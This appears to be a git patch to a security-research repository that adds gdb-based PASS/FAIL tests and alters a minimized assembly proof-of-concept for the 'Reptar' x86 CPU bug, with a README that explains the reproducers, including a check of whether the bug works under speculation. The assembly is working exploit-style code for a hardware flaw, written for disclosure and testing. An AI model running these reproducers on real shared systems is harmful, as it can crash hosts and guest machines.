From 3fa12d372bd8b7ce4885629e7831e9d46e192152 Mon Sep 17 00:00:00 2001 From: eduardo Date: Thu, 7 Dec 2023 03:26:35 +0100 Subject: [PATCH] add boot test --- pocs/cpus/reptar/minimized/Makefile | 16 ++++++------ pocs/cpus/reptar/minimized/README.md | 2 +- .../reptar/minimized/reptar.align.elf.gdb | 26 +++++++++++++++++++ .../cpus/reptar/minimized/reptar.boot.bin.asm | 13 ++++++++-- .../cpus/reptar/minimized/reptar.boot.bin.gdb | 17 ++++++++++++ 5 files changed, 63 insertions(+), 11 deletions(-) create mode 100644 pocs/cpus/reptar/minimized/reptar.align.elf.gdb create mode 100644 pocs/cpus/reptar/minimized/reptar.boot.bin.gdb diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index 7edf887f..91cea997 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -1,14 +1,17 @@ elf_targets=$(shell find . -name '*.elf.asm' -type f -printf "%f\n" | sed 's/\.asm//' | xargs) bin_targets=$(shell find . -name '*.bin.asm' -type f -printf "%f\n" | sed 's/\.asm//' | xargs) +test_targets=$(shell find . -name '*.gdb' -type f -printf "%f\n" | sed 's/\.gdb/.gdb.out/' | xargs) +.PHONY: clean all test test_elf all: $(elf_targets) $(bin_targets) -always-rebuild: -.PHONY: all clean always-rebuild +clean: + rm -rf *.o *.elf *.bin + +test: $(test_targets) -# always rebuild mce because it depends on env vars -reptar.mce.elf.asm: always-rebuild - touch reptar.mce.elf.asm +%.gdb.out: % + gdb -n -batch-silent -x $^.gdb %.bin.asm: third_party/*.asm touch $@ @@ -22,6 +25,3 @@ reptar.mce.elf.asm: always-rebuild %.elf: %.o ld $^ -o $@ - -clean: - rm -rf *.o *.elf *.bin diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md index f93abc9e..edf06de7 100644 --- a/pocs/cpus/reptar/minimized/README.md +++ b/pocs/cpus/reptar/minimized/README.md @@ -6,7 +6,7 @@ You can build them all simply by running `make`. Building the code requires `nas ## Quick Summary -- **reptar.align.elf.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time. +- **reptar.align.elf.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time. - **reptar.boot.bin.asm**: Same as align, but instead intended to be ran from a VM using KVM. `qemu-system-x86_64 --enable-kvm -fda reptar.boot.bin`. - **reptar.xlat.elf.asm**: This is similar to `reptar.align.elf.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`. - **reptar.spec.elf.asm**: This is a test used to check if the bug works under speculation. Its setup similar to `reptar.align.elf.asm` but only runs a few iterations and prints the speed at which its able to access memory. During the "loop" generated by the bug, we access specific parts of memory which would also happen if the bug executed speculatively. Run the code as `./reptar.spec.elf | od -i`. If speculation worked, you would see multiple "short" (<150 cycles) accesses and if it didn't work, you will only see one. diff --git a/pocs/cpus/reptar/minimized/reptar.align.elf.gdb b/pocs/cpus/reptar/minimized/reptar.align.elf.gdb new file mode 100644 index 00000000..2fe75988 --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.align.elf.gdb @@ -0,0 +1,26 @@ +file reptar.align.elf + +starti + +break '_start.exit' if $rbx == 1 +commands + pipe printf "FAIL(rbx=%x,oneiter)\n", $rbx | cat + quit 1 +end + +break '_start.exit' if $rbx > 1 +commands + pipe printf "PASS(rbx=%x,nopsled)\n", $rbx | cat + quit 0 +end + +catch signal SIGSEGV +commands + pipe printf "PASS(rbx=%x,segfault)\n", $rbx | cat + quit 0 +end + +continue + +pipe printf "FAIL(rbx=%x,unexpected)\n", $rbx | cat +quit 1 diff --git a/pocs/cpus/reptar/minimized/reptar.boot.bin.asm b/pocs/cpus/reptar/minimized/reptar.boot.bin.asm index 7bbf9647..e79b1e35 100644 --- a/pocs/cpus/reptar/minimized/reptar.boot.bin.asm +++ b/pocs/cpus/reptar/minimized/reptar.boot.bin.asm @@ -1,6 +1,11 @@ %macro LONG_MODE_BOOT_PAYLOAD 0 + _start: xor rbx, rbx + xor rdx, rdx + inc r15 .attack: + cmp rdx, 1000000 + ja _start xor ecx, ecx lea rsi, [rsp+1] mov rdi, rsi @@ -21,8 +26,12 @@ movsb ; 1 byte rep ; 1 byte nop ; 1 byte - mov dil, bl ; counter - jmp .attack + align 64 + inc rdx + cmp rdx, rbx + je .attack + times 0x6000 nop + jmp _start %endmacro %include "third_party/long_mode_boot.asm" diff --git a/pocs/cpus/reptar/minimized/reptar.boot.bin.gdb b/pocs/cpus/reptar/minimized/reptar.boot.bin.gdb new file mode 100644 index 00000000..73f49d05 --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.boot.bin.gdb @@ -0,0 +1,17 @@ +target remote | exec qemu-system-x86_64 --enable-kvm -gdb stdio -S -fda reptar.boot.bin + +hbreak *0x7E00 if $r15 > 0 && $rbx!=$rdx +commands + pipe printf "PASS(r15=%d,rbx=%d,rdx=%d)\n", $r15, $rbx, $rdx | cat + kill + quit 0 +end + +hbreak *0x7E00 if $r15 > 0 && $rbx==$rdx +commands + pipe printf "FAIL(r15=%d,rbx=%d,rdx=%d)\n", $r15, $rbx, $rdx | cat + kill + quit 1 +end + +continue